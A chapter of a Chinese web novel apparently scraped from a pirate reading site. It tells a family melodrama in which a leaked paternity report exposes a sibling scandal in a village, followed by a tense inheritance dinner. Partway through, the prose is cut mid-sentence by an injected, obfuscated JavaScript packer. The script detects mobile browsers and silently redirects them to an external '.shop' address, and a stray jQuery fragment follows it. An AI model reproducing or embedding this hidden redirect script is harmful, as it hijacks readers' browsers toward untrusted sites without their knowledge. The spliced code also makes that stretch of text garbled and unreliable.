文趣网 > 都市小说 > 情敌代练拒绝做好人 > 36. 鸿门宴
    “让他滚!”男人大吼。

    老太太得令,立刻高高举起扫帚,喊道:“你也不是我的外孙了,我们米家不欢迎你!”

    胡泽扯着唇角笑了笑,装出一副惊慌的样子,故意把手里的一个文件袋丢在一旁。

    “啊!掉了!”他的目光在文件带上停留了好一阵子,也不去捡,“你们让我走的,可千万别后悔哦!”

    说完,他从从容容出了门,走了几步,又回过头,指着地上的袋子喊:“我的东西!”

    老太太看他对那个袋子这么在意,关了门,低头捡起来看。

    那就是一个普通的牛皮纸袋,里面是薄薄的两张纸。

    她把那两张纸取出来,倒了倒,确认没有其它东西后,开始看上面的字迹。

    那是一份亲子鉴定报告。

    老太太看完第一页,笑了。

    她儿媳妇生了俩闺女就封了肚,所以她没孙子。

    就算后来家里有了钱,也是一大憾事。

    如今,这张亲子鉴定上说,吕奕是她孙子。

    不是外孙,是亲孙子!

    老米家有后了!

    老太太顿时喜笑颜开,踢踢儿子的摇椅,大声道:“你有儿子了!”

    男人手里的蒲扇停了,掉下来砸到脸上。

    难道是他坐牢的媳妇怀上了?

    这时,一直苍老的手拿走了挡着脸的扇子,把两张纸怼到他的脸上,“快看,亲子鉴定!你是小奕的亲爹!马上去省城,让他认祖归宗!以后,小奕叫米奕!”

    男人惊呆了。

    怎么可能?

    小奕是他姐怀胎十月生的,他送的医院!他媳妇亲自接生的!

    换都没机会换!

    米太太的弟弟从摇椅上跳了起来,哆哆嗦嗦去拿亲妈递过来的亲子鉴定。

    他的手太僵,结果纸张的时候,掉了一张在地上。

    他仔仔细细看了一遍上面的字迹,吐了一口气,“您眼花了吧!上面明明说,小奕是我姐的亲生儿子!”

    “怎么可能!”老太太一把夺过男人手里的痣,看了一遍,一脸疑惑。

    突然,母子俩同时低头,看向地上掉落的另一张纸,不约而同地僵在那里,谁也不敢轻举妄动。

    半响,老太太颤颤巍巍捡起那张纸,两个人凑在一起,把每个字都看了个遍。

    米太太的弟弟看完了另一张纸上的东西,捂着脑袋蹲在地上,满脸痛苦。

    老太太举着那张纸,看了好一阵子,又翻开另一张,看完,转头,提溜着男人的领口让他站起来,狠狠抽了儿子一巴掌,“作孽啊!”

    男人顶着鲜红的巴掌印,嗫喏了半天,突然跳了起来,“吕平为啥来村里?”

    母子俩对视一眼,一左一右打开了紧锁的大门。

    胡泽正在给村头的八卦群发花生。

    村里嘴碎子的女人在他身后追问,“真的吗真的吗?”

    “千真万确!”

    听得清清楚楚的的母子俩大叫一声,飞一样跑了出来。

    大爷大妈见米家人重下绝户坡,一个个眼睛里都是异样的神采。

    那母子俩什么都顾不上了,横冲直撞进了人群,找到胡泽,一左一右地拉着他的手。

    老太太道:“乖外孙,外婆准备了好吃的,回家吃……”

    “别走啊,老米,听说你外孙其实是……”

    男人吓得跳了起来,大喝一声:“少造谣!老子姐夫是有钱人!弄你们!”

    “你姐夫知道你外甥的事情吗?”不远处,一个老人嚼着花生,口齿不清地笑着。

    胡泽梅开二度,把手里的几个文件袋扔在地上,洋洋洒洒掉了一地,叫了起来:“哎呦!掉了!这可不兴外人看的!”

    这下,老人们也不嗑瓜子,也不抢花生了,争先恐后地去捡地上的文件袋。

    米家母子扯了胡泽就顾不上抢袋子,抢了袋子胡泽又在哪里胡咧咧,都要气死了。

    “胡说!我没和我姐……”男人气的声音发抖,流着泪拼命辩解。

    可是议论声已经绵延不绝,根本停不下来。

    男人委屈。

    他姐看上有钱男人吕胜东,想要嫁进去当豪门太太。

    她长得好,有研究生的学历,又肯伏低做小、费力讨好,终于从一众莺莺燕燕之中脱颖而出,在吕胜东眼里有了一席之地。

    想要地位稳定,就需要有孩子,最好是儿子。

    吕家传统,多子多福。有儿子在手,必定进退得宜。

    进能拿下吕太太的位置,从此一人得道鸡犬升天;退可以挟子令父,拿到吕胜东的财产。

    唯一的问题在于,她怀不上。

    不论米太太怎么折腾,她的验孕棒永远是一条杠。

    到底是她不行还是吕胜东不行?她决定做个小实验。

    米太太拿出十万块,让弟弟去京城的精子库跑一趟。

    男人的确去了京城,好好玩了几天,把姐姐交代的事情忘得一干二净,等到米太太找上门来,他急了,拿自己的东西凑了数。

    这就是个实验!

    谁知道一发即中!

    这事情怪谁?只能怪吕胜东那个银样镴枪头,搞了那么多次,次次落空!

    当小三的没办法劝人做试管,就这么迷迷糊糊酿成大错!

    米太太的弟弟觉得冤枉的要命。

    可是他有口说不出,只能低着头,拽着胡泽往家走。

    刚到门口,就看到一排戴墨镜的人。

    “舅舅啊舅舅,你以为,我还是以前那个任你们打骂的吕平吗?”身后传来阴冷的声音。

    男人吓得一屁股坐到地上。

    他们家的人,都是欺软怕硬的主。

    就算他一无所有,也不敢得罪身后有大人物的胡泽。

    男人哆哆嗦嗦跪下,给胡泽磕了个头,然后狂跑回家,关上门喘着粗气。

    都是吕胜东的错!要不是他不行,怎么会搞出这么大的乌龙!

    男人决定去吕家闹事。

    此时的吕家非常热闹。

    一场鸿门宴正在掀开序幕。

    除了存心看热闹的梁盈盈,来吃这顿饭的个个心怀鬼胎。

    吕胜东想着把儿子女儿的股权和钱都收入自己囊中;吕老太爷也想要这些财产,不过他只准备给大儿子留一丢丢,其余的大头归他,小头给小儿子;吕胜西想要把侄子侄女、大嫂的财产都收入囊中;梁惠如不关注钱财,她只想要吕胜东这个人。

    算盘珠子拨得太响,接风宴自然得在家里举行。

    怎么着也是书香门第,世家大族,就算有龃龉,也得关起门来慢慢商量,绝不能让外人看笑话。

    梁惠如请来的厨子做好了饭,走了。

    留下吕老太爷对着大儿子大儿媳。

    老头摸着心爱的龙头拐杖,对刚出狱的儿子和向来没地位的儿媳没有好脸色,“你们两口子怎么教孩子的,这都几点了,那俩小崽子还不来,懂不懂礼数!”

    “吕胜西不也没来吗?”吕胜东大叉着腿坐在沙发上,对这个亲爹也是非常不屑,“上梁不正下梁歪,咱们谁也别说谁!”

    老头脸都绿了,用龙头拐杖狠狠锤了锤地面。

    他的大儿子太狂妄自大,果然是黄脸婆教出来畜生!

    等着吧,财产到了手,老子一丢丢也不给你留!

    他想。

    吕胜东也非常不满。

    且不说他在里面蹲了那么久,老爷子就来看过他一次。

    他出狱那天,也只有梁惠如一个人来接。

    亲爹和亲弟弟都嫌他晦气。

    到了家里,老头还让他跨火盆。

    有什么晦气的!

    吕胜西搞出那么大的事情,怎么不让他跨火盆?

    相比起来,还是原配更贴心。

    但是吕胜东对梁惠如也很不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785045|207887||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    满,他一直惦记着梁惠如签股东同意书的事情。

    这女人竟然让他失去了钱财和股份!

    没有钱,他去哪里花天酒地!

    梁惠如看出了吕胜东的不满。

    她斗小三绿茶、莺莺燕燕、露水姻缘久了,终于从斗争中摸索出了精髓,绿茶白脸的招数说来就来。

    这次她既没有硬碰硬,也没有交钱讨丈夫欢心,而是大哭一场,把锅全甩到了米太太身上。

    结果意外的好,她不仅吕胜东嘴里得知了吕奕的身世,还被吕胜东好好怜爱了一番。

    看吧看吧,别的女人都是骗子,只有我是真心的,为你生儿育女,为你付出一切!

    梁惠如仰天大笑。

    果然,男人穷了,就会回来爱原配!

    她怎么没有早点知道这个道理!

    一心盘算着钱财的父子并没有察觉到梁惠如眼里的癫狂,不约而同地大声问:“你说,能不能把小崽子的股份弄回来?”

    “你们在想屁吃!”门开了,梁盈盈推开门,大踏步走进来,大马金刀往椅子上一座,冷眼扫了一圈各怀心思的三个人。

    “你……”吕老太爷拄着龙头拐杖站起来开口,又想到他在这个孙女这里从没有过胜绩,不甘心的闭了嘴,用目光暗示大儿子上。

    可惜吕胜东在闺女这里也没捞多过好处,只好转脸看着老婆。

    梁惠如在商场上的确和梁盈盈斗得有来有回,可那不代表私下里她有胜算。

    更何况,梁惠如已经换了路线,没必要冲锋陷阵,她站起来,看着手足无措的父子俩,站出来打圆场,“一家人吃顿便饭而已,怎么动不动就说伤感情的话!”

    向来被梁惠如捧着的吕胜东全身都僵住了。

    从小都坚定不移地站在他这边的原配老婆,怎么突然间变了风向?

    吕老太爷也死死捏着龙头拐杖。

    在这个家里,向来是别人冲锋陷阵,他坐享其成。

    怎么突然间,两员大将都哑了?

    在这诡异的平静中,穿马甲的温良无声无息地走了进来,环视一圈大厅。

    人没齐。

    尴尬中的父子俩发现另一个目标来了,各自做出了不同的反应。

    经历过一次大战的吕老太爷悄悄后退一步,缩回沙发上。

    与世隔绝许久的吕胜东凶神恶煞,恶狠狠想要教训人,“你还敢回来!马上把老子的股份和钱还给老子!”

    “我姥姥姥爷留给我弟的东西,什么时候成了你的了!”没等温良开口,梁盈盈就站了起来,和吕胜东针锋相对。

    “老子管儿子,天经地义!”吕胜东啐了一口,绕过梁盈盈,抬手就要打人。

    这时,一只手稳稳地抓住了吕胜东的手腕,狠狠一捏。

    吕胜东脸都憋绿了,抬眼看着那个高大的身影,声音有些颤抖,“何,何总?”

    何寂甩开吕胜东的手,力气太大,待得吕胜东打了个趔趄,撞到餐桌上才停了下来。

    桌上的汤晃出来,雪白的桌布被洇湿一大片。

    吃了好长时间外卖的吕老太爷有些心疼,更多的是气愤,他用龙头拐杖狠狠敲击地面,“何总,你这么缠着我孙子,不会也看上了他手里的钱和股份了吧!”

    “别说我没看上他的财产,我的财产也可以给他,”何寂向前一步,把温良护在身后,“前提是,你们少在他身边吸血!”

    梁惠如见到何氏的总裁,瞬间切换到了工作模式,挂上一张笑脸,把歪倒在地上的丈夫扶到椅子上,扯出一个职业微笑,“何总既然来了,一起吃顿便饭吧!”

    剑拔弩张的一家人竟然一个个偃旗息鼓,挨个入座。

    梁盈盈若无其事地举起了筷子。

    吕老太爷狠狠咳嗽一声,“人还没来齐,怎么先动筷子了?”

    “来了。”

    狗叫声夹杂着湿冷的声音传来。

    大厅的门开了。